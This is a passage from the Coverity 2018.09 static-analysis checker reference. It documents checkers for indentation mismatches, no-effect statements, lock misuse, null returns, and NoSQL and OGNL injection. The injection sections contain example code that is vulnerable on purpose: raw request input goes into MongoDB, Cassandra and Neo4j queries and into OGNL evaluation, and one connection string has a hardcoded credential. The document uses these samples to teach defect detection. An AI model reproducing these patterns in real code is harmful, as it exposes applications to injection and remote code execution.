do_another_thing_conditionally(); /* uncle */
In the following C/C++ example, the developer clearly intended to condition all of
the actions of the expansion of MULTI_STMT_MACRO on the specified
condition. Though the foo(p->x); portion of the
statement is conditional, the bar(p->y); portion is executed
unconditionally after the if statement:
#define MULTI_STMT_MACRO(x, y) foo(x); bar(y) /* user ';' */
/* ... */
if (condition)
MULTI_STMT_MACRO(p->x, p->y);
In other languages, such as C or C++, the following is considered a NESTING_INDENT_MISMATCH
defect:
for (int i = 0; i < 10; ++i)
x();
y(); // NESTING_INDENT_MISMATCH defect herebecause the indentation suggests that the developer intends that y(); will be executed 10 times (but it won't).
The Scala version of NESTING_INDENT_MISMATCH does not support the
detection of a mismatch under a for construct. Therefore in Scala, the
following will not report a defect:
for(i <- 1 to 10)
x();
y(); // not reported in ScalaIn this example, y() is a defect because of the indentation, which
suggests that the developer intended it to execute conditionally:
def test(b : Boolean) {
if(b)
x()
y() // defect here
}In this example, y() is a defect because of the indentation, which
suggests that it is logically part of the else clause of the
if. However it is executed unconditionally:
def test(b : Boolean) {
if(b)
x()
else
y()
z() // defect here
}In this example, y() is a defect because it is on the same line as
x(), which suggests that the developer intended y() to
be executed conditionally upon the value of b. However y()
is executed unconditionally:
def test(b: Boolean) {
if(b)
x(); y(); // defect here - on same line
}In this example, the else clause is a defect because of the
indentation, which suggests that the developer intended it to be executed
conditionally upon the value of b1, However it is executed
conditionally upon the value of b2:
def test(b1 : Boolean, b2 : Boolean) {
if(b1)
if(b2)
do_something()
else
do_something_else() // dangling else here
}This section describes one or more NESTING_INDENT_MISMATCH options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
NESTING_INDENT_MISMATCH:report_bad_indentation:<boolean> - When
this option is true, the checker will report cases where the indentation does
not match the syntactic nesting, but the code is likely to be logically correct.
In these cases, the run-time behavior is correct, but the code might continue to
be misleading and difficult to maintain. Defaults to
NESTING_INDENT_MISMATCH:report_bad_indentation:false for C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, and Scala option (all languages).
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
This section describes one or more events produced by the NESTING_INDENT_MISMATCH checker.
actual_if - The "if statement that the
else actually goes with, syntactically.
dangling_else - The else clause that is either
indented incorrectly or does not go with the if statement that its
indentation suggests.
intended_if - The if statement for which the
else was intended, based on the indentation.
parent - Statement under which the nephew is
nested.
nephew - Statement that is nested under the parent.
uncle - Statement with indentation that matches a nephew when
the statement is actually a sibling of the parent.
multi_stmt_macro - Macro that expands to two or more
statements, only the first of which is nested under the parent. (Not
for Scala)
Supported Languages: C, C++, JavaScript, Objective-C, Objective-C++, PHP, Ruby, and Scala
NO_EFFECT finds many instances of statements or expressions that do not accomplish anything, or statements that perform an action that is not the intended action. Usually, this issue is caused by a typographical error, oversight, or misunderstanding of language rules, such as operator precedence.
Enabled by default: NO_EFFECT is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more NO_EFFECT examples.
See the C/C++ code examples in Section 4.135.3, “Options”.
function resetArray(array) {
var i = 0 ;
while ( i < array.length ) {
array[ i++ ] == null; // Defect
}
}def math_asserts()
assert(Math::PI > 3.14)
assert(Math::PI < 3.15)
Math::E > 2.71 # Defect
assert(Math::E < 2.72)
endIn this example, the function does not return a value and the value of the expression x
== y is discarded without being used, which results in a defect.
def test_with_defect(x: Int, y: Int) { // does not return value
x == y; // NO_EFFECT defect here because result of equality test is not returned
}By contrast, a similar function, which does return the result of the expression
x == y does not have this defect
def test_without_defect(x: Int, y: Int) : Boolean = { // returns a value
x == y; // no defect here because result of equality test is returned
}In this example, a function that does not return a value has a defect because the value is discarded without effect:
def test() { // does not return a value
5; // NO_EFFECT defect here
}In this example, a local variable is assigned to itself, which has no effect:
def test() {
var x : Int = 0;
x = x; // defect - local self-assignment
}This section describes one or more NO_EFFECT options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
NO_EFFECT:array_null:<boolean> - When this option is true, the checker reports a check of an
array against NULL. Checks in macros are not reported. Defaults to
NO_EFFECT:array_null:true (C, C++,
Objective-C, Objective-C++ only)
void array_null() {
unsigned int a[3];
unsigned int b[1];
unsigned int c[2];
if (*a == 0)
a[0];
if (b == 0) // The entire array b is compared to 0.
b[1];
if (c[1] == 0)
c[1];
}NO_EFFECT:bad_memset:<boolean> - When this option is true, the checker reports defects when
suspicious arguments are passed to the memset function. A size
argument of 0 can indicate that the size and fill arguments are
switched. A fill value outside the range of -1 to 255 will likely lead to
truncation. A fill value of 0 is likely intended to be
0. Defaults to
NO_EFFECT:bad_memset:true (C, C++,
Objective-C, Objective-C++ only)
void bad_memset() {
int *p;
memset(p, '0', l); // Fill value is '0', and 0 is more likely.
memset(p, l, 0); // Length is 0, and so likely that l and 0 reversed.
memset(p, 0xabcd, l); // Fill is truncated, and so memory
// will not contain the 0xabcd pattern.
}NO_EFFECT:bool_switch:<boolean> - When this
option is true, the checker reports
switching on a comparison because this indicates that the assignment was
probably intentional. Defaults to
NO_EFFECT:bool_switch:true (C, C++,
Objective-C, Objective-C++ only)
int a, b;
void bool_switch() {
switch (a == b) { // Boolean switch
case 1:
}
}NO_EFFECT:extra_comma:<boolean> - When this
option is true, the checker reports a
defect if the left operand of a comma operator has no side effects. Defaults to
NO_EFFECT:extra_comma:true (C, C++,
Objective-C, Objective-C++ only)
void extra_comma() {
int a, b;
for (a = 0, b = 0; a < 10, b < 10; a++, b++);
// Extra comma, and so a < 10 is not used.
}NO_EFFECT:incomplete_delete:<boolean> - When this
option is true, the checker reports a
defect for the pattern delete a, b. In that pattern, only the first
pointer is freed. Defaults to
NO_EFFECT:incomplete_delete:true (C, C++,
Objective-C, Objective-C++ only)
void incomplete_delete() {
int *p, *q;
delete p, q; // The pointer q is not deleted.
}NO_EFFECT:no_effect_deref:<boolean> - When this
option is true, the checker reports useless
dereferences of pointers. Defaults to
NO_EFFECT:no_effect_deref:true (C, C++,
Objective-C, Objective-C++ only)
void no_effect_deref() {
int *p;
*p++; // *p is useless
}NO_EFFECT:no_effect_test:<boolean> - When this
option is true, the checker reports useless
boolean tests. The programmer probably intended to assign, rather than compare,
the arguments. Defaults to
NO_EFFECT:no_effect_test:true (C, C++,
Objective-C, Objective-C++ only)
void no_effect_test() {
int a, b;
a == b; // Test has no effect, and is
// likely intended to be the assignment a = b
}NO_EFFECT:self_assign:<boolean> - When this
option is true, the checker reports
assignments of fields and globals to themselves. Defaults to NO_EFFECT:self_assign:true (all
languages except Scala)
int a;
void self_assign(struct foo *ptr) {
a = a; // assignment to self, global
ptr->x = ptr->x; // assignment to self, field
}NO_EFFECT:self_assign_in_macro:<boolean> -When
this option is true, the checker reports self
assigns where the right-hand side is in a macro. Defaults to
NO_EFFECT:self_assign_in_macro:false (C, C++,
Objective-C, Objective-C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to high.
#define swap(x) x
void self_assign_in_macro() {
unsigned short csum;
csum = swap(csum); // assignment to self, rhs inside macro
}NO_EFFECT:self_assign_to_local:<boolean> - When
this option is true, the checker reports
assignments of locals and parameters to themselves. Defaults to
NO_EFFECT:self_assign_to_local:false (all
languages)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
void self_assign_local() {
int a;
a = a; // assignment to self, local
}NO_EFFECT:static_through_instance:<boolean> - When
this option is true, the checker will
NOT report cases where a static field or method is
accessed using an instance pointer. Defaults to
NO_EFFECT:static_through_instance:true
(C, C++, Objective-C, Objective-C++ only)
Example:
struct C { static void foo(); int x; };
C * c; c->foo(); // Becomes "c, C::foo();". c is unnecessary,
// but not flagged.
C stackc; stackc.x = 4;NO_EFFECT:unsigned_compare:<boolean> - option that reports unsigned comparisons against 0,
unless the expression's parent is a manual signed cast. Defaults to
NO_EFFECT:unsigned_compare:true (C, C++,
Objective-C, Objective-C++ only)
void unsigned_compare() {
unsigned int a;
if (a < 0) // a is unsigned, and so the comparison is never true
a++;
}NO_EFFECT:unsigned_compare_macros:<boolean> - When
this option is true, the checker reports the
comparison of an unsigned quantity against 0 in macros. Defaults to
NO_EFFECT:unsigned_compare_macros:true
(C, C++, Objective-C, Objective-C++ only)
#define MAYBE(a) if (a < 0) a++ // a is unsigned, and so the
// comparison to 0 is never true.
void testfn() {
unsigned int a;
MAYBE(a);
}NO_EFFECT:unsigned_enums:<boolean> - When this
option is true, the checker reports the
comparison of an enum value against 0 as a defect when the
underlying type of the enum is unsigned and the result is always
the same. Note that the underlying type of an enum is partly
defined by the compiler implementation. Defaults to
NO_EFFECT:unsigned_enums:false (C, C++,
Objective-C, Objective-C++ only)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
This section describes one or more events produced by the NO_EFFECT checker.
The C/C++ events are identical to the NO_EFFECT options. See Section 4.135.3, “Options”.
NON_STATIC_GUARDING_STATIC
finds many instances in which a non-static field is locked to guard a static field. This
could place a lock on many different objects, one for each instance of the class that
contains the non-static field that is locked, which would be equivalent to having no
lock at all. Non-static locking defects include instance method locking with the
method-level synchronized keyword in Java and the
MethodImplOptions.Synchronized attribute in C#.
This checker only infers that a particular non-static lock is used to guard a static field if the static field is written while a non-static lock is held. If this is the case, all reads and writes to the static field that are performed while holding the non-static lock are marked as NON_STATIC_GUARDING_STATIC defects.
Enabled by default: NON_STATIC_GUARDING_STATIC is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more NON_STATIC_GUARDING_STATIC examples.
In the following example, the analysis infers that refCount is
guarded by mutex. If multiple threads with references to multiple
Foo objects call DoStuff() concurrently, after all
threads complete, Foo.refCount might have a value that is less than the
number of times DoStuff() was called, or have a value that is
inconsistent with the number of valid serial executions of the threads.
class Foo {
private static int refCount = 0;
private Object mutex = new Object();
public void DoStuff() {
lock (mutex) {
refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
}
}
}The following examples show defects for both a read and write of a particular static field.
public class Example {
private object myLock; // Note that this is an instance field.
private static long myResource;
public void method() {
lock(myLock) {
myResource++; //A NON_STATIC_GUARDING_STATIC defect here.
}
}
public long method2() {
lock(myLock) {
return myResource; //A NON_STATIC_GUARDING_STATIC defect here.
}
}
}
In the following examples, the checker does not report defects on the static fields because they are only read. Without a write in a locked-on-non-static context, there is not strong enough evidence to determine that a bug exists.
public class NoWritesExample {
private object myLock; // Note that this is an instance field.
private static long myResource;
public bool method() {
lock(myLock) {
return myResource > 5; //No NON_STATIC_GUARDING_STATIC defect here.
}
}
public long method2() {
lock(myLock) {
return myResource; //No NON_STATIC_GUARDING_STATIC defect here.
}
}
}The following example shows an instance method lock that uses the method-level
MethodImplOptions.Synchronized attribute on a static field.
using System.Runtime.CompilerServices;
class Foo2 {
private static int refCount = 0;
[MethodImpl(MethodImplOptions.Synchronized)]
public void DoStuff() {
refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
}
}}In the following example, the analysis infers that refCount is
guarded by mutex. If multiple threads with references to multiple
Foo objects call doStuff() concurrently, after all
threads complete, Foo.refCount might have a value that is less than the
number of times doStuff() was called, or have a value that is
inconsistent with the number of valid serial executions of the threads.
class Foo {
private static int refCount = 0;
private Object mutex = new Object();
public void doStuff() {
synchronized (mutex) {
refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
}
}
}The following example shows an instance method lock that uses the method-level
synchronized keyword on a static field.
class Foo2 {
private static int refCount = 0;
public synchronized void doStuff() {
refCount++; //A NON_STATIC_GUARDING_STATIC defect here.
}
}Supported Languages: C#, Java, JavaScript, Python, PHP
NOSQL_QUERY_INJECTION finds NoSQL query injection vulnerabilities, which arise when uncontrolled dynamic data is passed into a NoSQL database application such as CouchDB. This data is then used to construct a query. The injection of tainted data might change the intent of the query, which can bypass security checks or execute arbitrary code.
Disabled by default: NOSQL_QUERY_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable NOSQL_QUERY_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
Python support: Security checkers are supported for Python 2.7.x only.
A NOSQL_QUERY_INJECTION defect shows a dataflow path by which an untrusted (tainted) source is used to construct an database query. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string used in a database query.
This section provides one or more NOSQL_QUERY_INJECTION examples.
using System.Web;
using CassandraSharp;
class NoSqlQueryInjection {
void Example(HttpRequest Request, ICqlCommand Command) {
// Reading a user-controllable HTTP parameter
string Query = Request["QueryString"];
// Executing an untrusted NOSQL query command
Command.Execute<string>(Query); // Defect here.
}
}In the following example, the parameter query is tainted. The
parameter is concatenated to a query string. This query string is then passed to
ExecutionEngine.execute, which is a sink for this checker.
public void executeQuery(String query) {
...
String fullQuery = "start n=node(*) where n.name = '" + query
+ "' return n, n.name" );
ExecutionEngine engine = new ExecutionEngine();
ExecutionResult result = engine.execute(fullQuery);
...
}An attacker can change the intent of the query by inserting single quotes. Following the insertion, the attacker could add additional syntax to potentially return different nodes, potentially accessing unauthorized data.
The following code example shows a vulnerable Node.js Web application using the Express framework. It uses the input coming from a user into a MongoDB query.
var MongoClient = require('mongodb').MongoClient;
var express = require('express');
var app = express();
var url = 'mongodb://localhost:27017/mapReduceDB';
app.get('/summary', function(req, res) {
console.log(req.query.n);
MongoClient.connect(url, function(err, db) { //#defect#NOSQL_QUERY_INJECTION#
var collection = db.collection('sourceData');
collection.find( {$where: req.query.n} );
});
res.sendStatus('Status:' + 1);
});
app.listen(3000, function() {console.log('Listening ');});In the following example, the PHP program pulls a value from a URL parameter and supplies that value directly to the query: this constitutes a NOSQL injection defect.
<?php
$manager = new
\MongoDB\Driver\Manager("mongodb://admin:adim@localhost:27017");
$query = new MongoDB\Driver\Query(['name' => $_GET['name']]);
$result = $manager->executeQuery('db', $query);
?>This section describes one or more NOSQL_QUERY_INJECTION options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
NOSQL_QUERY_INJECTION:distrust_all:<boolean> - [JavaScript,
PHP, Python only] Setting this option to true is equivalent to setting all
trust_* checker options for this checker to false. Defaults to
NOSQL_QUERY_INJECTION:distrust_all:false.
This checker option is automatically set to true if the
--webapp-security-aggressiveness-level option of
the cov-analyze command is set to high.
NOSQL_QUERY_INJECTION:trust_command_line:<boolean> -
[JavaScript, PHP, Python only] Setting this option to false causes the analysis to treat command line
arguments as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_command_line:true.
Setting this checker option will override the global
--trust-command-line and
--distrust-command-line
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_console:<boolean> - [JavaScript,
PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from the console
as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_console:true. Setting
this checker option will override the global --trust-console
and --distrust-console
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_cookie:<boolean> - [JavaScript,
PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from HTTP cookies
as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_cookie:false. Setting
this checker option will override the global --trust-cookie and
--distrust-cookie
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_database:<boolean> - [JavaScript,
PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from a database
as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_database:true. Setting
this checker option will override the global --trust-database
and --distrust-database
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_environment:<boolean> -
[JavaScript, PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from environment
variables as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_environment:true. Setting
this checker option will override the global
--trust-environment and
--distrust-environment
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_filesystem:<boolean> -
[JavaScript, PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from the
filesystem as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem
and --distrust-filesystem
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_http:<boolean> - [JavaScript, PHP,
Python only] Setting this Web application security option
to false causes the analysis to treat data from HTTP requests as tainted.
Defaults to
NOSQL_QUERY_INJECTION:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_http_header:<boolean> -
[JavaScript, PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from HTTP headers
as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_http_header:false.
Setting this checker option will override the global
--trust-http-header and
--distrust-http-header
cov-analyze command line options ; see the Coverity 2018.09 Command Reference
for details.
NOSQL_QUERY_INJECTION:trust_network:<boolean> - [JavaScript,
PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from the network
as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_network:false. Setting
this checker option will override the global --trust-network
and --distrust-network
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_rpc:<boolean> - [JavaScript, PHP,
Python only] Setting this Web application security option
to false causes the analysis to treat data from RPC requests as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_rpc:false. Setting this
checker option will override the global --trust-rpc and
--distrust-rpc
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
NOSQL_QUERY_INJECTION:trust_system_properties:<boolean> -
[JavaScript, PHP, Python only] Setting this Web application security
option to false causes the analysis to treat data from system
properties as tainted. Defaults to
NOSQL_QUERY_INJECTION:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties
cov-analyze command line options; see the Coverity 2018.09 Command Reference for
details.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++
NULL_RETURNS finds errors that can result in program termination or a runtime exception.
For C/C++, this checker finds many instances where a pointer or reference is checked
against null and then later dereferenced. The checker applies two different
criteria: Functions with user models always need to be checked, while others are treated
statistically. By default, if 80% of unmodeled function/method call returns are checked
for null pointer values, this checker identifies the remaining 20% as defects. See the stat_threshold option to change the
default.
Developers sometimes do not test function return values, and instead use the returned values in potentially dangerous ways. Every function that returns a null pointer must be checked against null before it can be considered safe to use. Failing to check null check pointer return values can cause crashes due to null dereferencing.
For JavaScript, this checker finds many instances where a value is checked against
null or undefined and then later used as an object (that
is, by accessing one of its properties) or as a function (that is, by calling it). Every
function that returns null or undefined must be checked
against null or undefined before it can be considered safe to
use as an object or as a function. Failing to check null or undefined return values can
cause runtime exceptions. By default, if 80% of function call returns are checked for
null or undefined values, this checker identifies the remaining 20% as defects. See the stat_threshold option to change the
default.
Enabled by default: NULL_RETURNS is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
Android (Java only): For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.
This section provides one or more NULL_RETURNS examples.
void bad_malloc() {
// malloc returns NULL on error
struct some_struct *x = (struct some_struct*) malloc(sizeof(*x));
// ERROR: memset dereferences possibly null pointer x
memset(x, 0, sizeof(*x));
}
public object CanReturnNull(bool condition)
{
if (condition)
return new object();
return null;
}
public void PossibleNullDereference(bool condition)
{
object data = CanReturnNull(condition);
Console.WriteLine(data.ToString());
}public class NullReturnsExample1 {
static int count = 0;
public static Object returnA() {
return null;
}
public static Object returnB() {
return new Object();
}
public static void testA() {
// This demonstrates a very straightforward null-return bug
returnA().toString();
}
public static void testB() {
// no bug here
returnB().toString();
}
}function getName(userInput) {
var pos = userInput.indexOf("name:");
if (pos >= 0) {
return userInput.substring(pos + "name:".length);
}
// This function can return null
return null;
}
function checkedExample(userInput) {
var name = getName(userInput);
// Name is checked against null
if (name) {
console.log("name: " + name);
}
}
function uncheckedExample(userInput) {
var name = getName(userInput);
// Name can be null here
return name.substring(0,8);
}This section describes one or more NULL_RETURNS options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
NULL_RETURNS:allow_unimpl:<
- This option reports unchecked, unimplemented
functions (as opposed to only functions that are known to return
boolean>null). Defaults to
NULL_RETURNS:allow_unimpl:false (all
languages)
This checker option is automatically set to true
if the --aggressiveness-level option of the cov-analyze command is set
to medium (or to high).
C# example:
public extern object CanReturnNullUnimpl(bool condition);
public void AllowUnimpl(bool condition)
{
Object data = CanReturnNullUnimpl(condition);
Console.WriteLine(data.ToString());
}
public void InferCanReturnNull(bool condition)
{
if (CanReturnNullUnimpl(condition) == null) { /* ... */ }
if (CanReturnNullUnimpl(condition) == null) { /* ... */ }
if (CanReturnNullUnimpl(condition) != null) { /* ... */ }
if (CanReturnNullUnimpl(condition) != null) { /* ... */ }
}NULL_RETURNS:null_fields_config_file:<
- This option allows users to specify a configuration file and to call out any
fields that should be considered null when read.path-to-config-file>
For example, a .json configuration file that specifies a field as null should look like the following:
[
{
scope : ["NameSpace", "Class"],
field: "nullField"
}
]The scope is a list of strings including all the namespaces and class names.
In the case of template classes, template arguments are omitted.
This would allow reporting this as a bug:
namespace NameSpace {
class Class {
int *nullField;
void test() {
*nullField = 0; // Error, dereferencing potentially null field "nullField"
}
}And here is an example for setting a global namespace. If the class/struct is in the global namespace, just use its name as the first entry in the scope list.
[
{
scope: ["my_favorite_struct"],
field: "nullField"
},
{
scope: ["Class"],
field: "nullField"
},
{
scope: ["NameSpace", "Class2"],
field: "nullField"
}
]NULL_RETURNS:stat_bias:<number> - This option specifies a number to add to the check count
that biases the checker to report defects for functions that do not occur often
in the program. The value of this option and the stat_threshold
option affects the calculation used by the checker to identify defects (see
stat_threshold for details). Defaults to NULL_RETURNS:stat_bias:0 (for C, C++,
Objective-C, Objective-C++). Defaults to
NULL_RETURNS:stat_bias:3 (for C#, Java). Defaults to
NULL_RETURNS:stat_bias:1 (for JavaScript).
This checker option is automatically set to
10 if the --aggressiveness-level option of
cov-analyze is set to medium (or to
high).
For example, use
> cov-analyze -co NULL_RETURNS:stat_bias:5to increase the number of defects found for functions that do not occur often in the program.
NULL_RETURNS:stat_min_checked:<
- This C, C++, C#, Java, JavaScript, Objective-C, Objective-C++ option sets the minimum number
of call sites that must have their value checked for the statistical analysis to
conclude that the function should always have its return value checked. Defaults to
number>NULL_RETURNS:stat_min_checked:0 (for C, C#, C++,
Java, Objective-C, Objective-C++). Defaults to
NULL_RETURNS:stat_min_checked:1 (for
JavaScript).
This checker option is automatically set to
0 if the --aggressiveness-level option of
cov-analyze is set to medium (or to
high).
NULL_RETURNS:stat_threshold:<
- This C, C++, C#, Java, JavaScript, Objective-C, Objective-C++ option sets the percentage of
call sites that must have their value checked in order for the statistical
analysis to conclude that the function or method should always have its return
value checked. Defaults to
percentage>NULL_RETURNS:stat_threshold:80 (all
languages).
The checker identifies a defect if the sum of checked uses and the value of
the stat_bias option is greater than or equal to (>=) the
total number of uses multiplied by the value of the
stat_threshold option (that is, checked uses + stat_bias >=
total uses * stat_threshold).
This checker option is automatically set to
50 if the --aggressiveness-level option of
cov-analyze is set to medium. It is set to
0 if the --aggressiveness-level option is set
to high.
For example, when stat_threshold:85, if 85% or more of the
call sites to a function check its return value for null before using it, then
NULL_RETURNS will report a defect on any uses of a function's return value that
is not first checked for null. If fewer than 85% of the call sites check the
return value, then NULL_RETURNS will not report defects at the sites that do not
check.
For Java,
> cov-analyze -co NULL_RETURNS:stat_threshold:90requires that 90% of return values of the method should be checked before reporting a defect on the remaining 10%.
NULL_RETURNS:suppress_under_related_conditional:<boolean>
- This option suppresses defect reports that
are heuristically identified as being controlled by a condition that is related
to the call alleged as returning null. Defaults to
NULL_RETURNS:suppress_under_related_conditional:true
(for C# and Java). Defaults to
NULL_RETURNS:suppress_under_related_conditional:false
(for C, C++, Objective-C, Objective-C++). Does not apply to
JavaScript.
This checker option is automatically set to
false if the --aggressiveness-level option of
cov-analyze is set to medium (or to
high).
When set to true, this option reduces false positive defect
reports of the following pattern:
"if <something guaranteeing foo(x) returns non-null>) dereference(foo(x));"
Before creating a model, note that the return value from any function or method that is explicitly modeled to return null must be checked before it is considered safe to use. The checker does not apply its statistical analysis to such functions.
In general, incorrect inferences about the following can cause false positives:
A function can return a null pointer.
A function call dereferences a pointer believed to be null.
A path through the code is executable.
To address the first two types of false positives, you can model this function for the C/C++ NULL_RETURNS checker:
void* my_null_return(unsigned int val)
{
void* ptr = NULL;
if (val & 0xFFFFFFF0) {
return NULL;
}
// val is <= 15. Try to allocate until success.
while (!ptr) ptr = malloc(val * sizeof(void*));
return ptr;
}
This function's abstract behavior is that when val is smaller
than 16, a non-null pointer is returned. When val is bigger than
15, NULL is returned. Because Coverity Analysis cannot currently track bitwise operations
accurately enough to understand this function, the following abstract model is
required to indicate the function's proper behavior:void* my_null_return(unsigned int val)
{
void* ptr;
assert(ptr != NULL);
if (val > 15)
return NULL;
return ptr;
}
It is clear here that for all values smaller than 16 a non-null pointer is returned,
and for all values larger than 15 a null pointer is returned. Using the
cov-make-library command with this function informs the
analysis of the proper behavior.If the analysis incorrectly determines that a function call dereferences a pointer then you can model the called function's abstract behavior properly so that the exact conditions under which the pointer is dereferenced are understood. An example is omitted as the stub function follows the same pattern as the preceding examples.
If the cause of the false positive is either an infeasible execution path or a
contextual situation that applies only at a specific point in the code, the best
means of suppression is a //coverity comment.
![]() | |
The return value from any function this is explicitly modeled to return null must be checked before it is considered safe to use. |
The Java NULL_RETURNS checker looks for the CheckForNull
annotation, which you can add to classes and methods to force the checker to verify
that the return value is checked for null.
For example, the following example shows how to annotate the
returnMaybeNull() class so that NULL_RETURNS checks the
return value for null:
import com.coverity.annotations.CheckForNull;
....
@CheckForNull
public Object returnMaybeNull() {
String s = "thoueouh";
if (s.equals(new Object().toString()))
return null;
return s;
}
See Section 6.3.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc
documentation at <install_dir>/doc/<en|ja>/annotations/index.html for more information.
This section describes one or more events produced by the NULL_RETURNS checker.
alias - [C# and Java] A potential null reference was assigned
to another reference, thereby creating an alias.
alias - [JavaScript] Assigning a potentially null or
undefined value.
call - [JavaScript] Calling a potentially null or undefined
value, or passing a potentially null or undefined value to a function that
accesses a property of that value or calls that value.
dereference - For C/C++, a potential null pointer was passed
to a function that dereferenced it or a potential null pointer was dereferenced
directly. For C# and Java, a potential null reference was passed to a function
that dereferenced it, or a potential null reference was dereferenced
directly.
identity - A potentially null pointer (or null reference) was
passed to a function (or method) that does not modify the pointer (or reference)
and returns it back to the calling function.
identity_transfer - [JavaScript] Passing a potentially null
or undefined value to a function that returns it.
returned_null - [C/C++ only] A function can return a null
pointer.
var_assigned - A variable was assigned to the return value or
a function or method, and that value might be a null pointer or null
reference.
null_array_access - [C# and Java] Accessing an element of a
null array.
null_array_length - [C# and Java] Accessing the length of a
null array.
null_field_access - [C# and Java] Accessing a field of a null
object.
null_inner_new - [Java] Creating an inner class of a null
object.
null_method_call - [C# and Java] Calling a method on a null
object.
null_synchronized - [C# and Java] Synchronizing on a null
object.
null_throw - [C# and Java] Throwing a null exception.
null_unbox - [C# and Java] Unboxing a null object.
null_unwrap - [C# and Java] Unwrapping a null object.
property_access - [JavaScript] Accessing a property of a
potentially null or undefined value.
returned_null - [C# and Java] A function can return a null
reference.
returned_null - [JavaScript] Returning a potentially null or
undefined value.
var_assign - [JavaScript] Assigning a variable to the
potentially null or undefined return value of a function.
OGNL_INJECTION finds Object-Graph Navigation Language (OGNL) injection vulnerabilities, which arise when uncontrolled dynamic data is passed into an OGNL evaluation API. OGNL can execute arbitrary Java code, in addition to performing language functions similar to those performed by Java Expression Language (EL).
Disabled by default: OGNL_INJECTION is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Web application security checker enablement: To enable OGNL_INJECTION
along with other Web application checkers,
use the --webapp-security
option.
This section provides one or more OGNL_INJECTION examples.
In the following example, the Struts 2 entry
point UIAction has this tainted using the
GETTERS_AND_SETTERS taint type. (This information is supplied by the
framework configuration, not shown in the example.) Therefore, the field
pageTitle is treated as though it is tainted. The tainted field then
flows into ActionSupport.getText, a sink for this checker.
public abstract class UIAction extends ActionSupport {
private String pageTitle;
...
public String getPageTitle() {
return getText(pageTitle);
}
public void setPageTitle(String pageTitle) {
this.pageTitle = pageTitle;
}
...
}An attacker can specify pageTitle through the HTTP parameter
?pageTitle and set its value to an OGNL statement. This statement is
then interpreted by the OGNL evaluation, which allows for instantiating arbitrary Java
classes. This allows the attacker to execute arbitrary code remotely.
This section describes one or more events produced by the OGNL_INJECTION checker.
sink - (main event) Identifies the location where tainted
data reaches a sink.
remediation - Provides information about addressing the
security vulnerability.
Dataflow events
member_init - Creating an instance of a class using tainted data
initializes a member of that class with tainted data.
object_construction - Creating an instance of a class using tainted
data.
subclass - Creating an instance of a class to use as a
superclass.
taint_alias - A tainted object is aliased.
taint_path - A tainted value has been assigned to a local
variable.
taint_path_arg - A tainted value has been used as an argument to a
method.
taint_path_attr - [Java only] A tainted value has been stored as a
Web application attribute that has page, request, session, or application scope.
taint_path_call - This method call returns a tainted value.
taint_path_field - A tainted value has been assigned to a
field.
taint_path_map_read - A tainted value is read from a map.
taint_path_map_write - A tainted value is written to a map.
taint_path_param - A caller passes a tainted argument to this method
parameter.
taint_path_return - The current method returns a tainted
value.
tainted_source - The method from which a tainted value
originates.
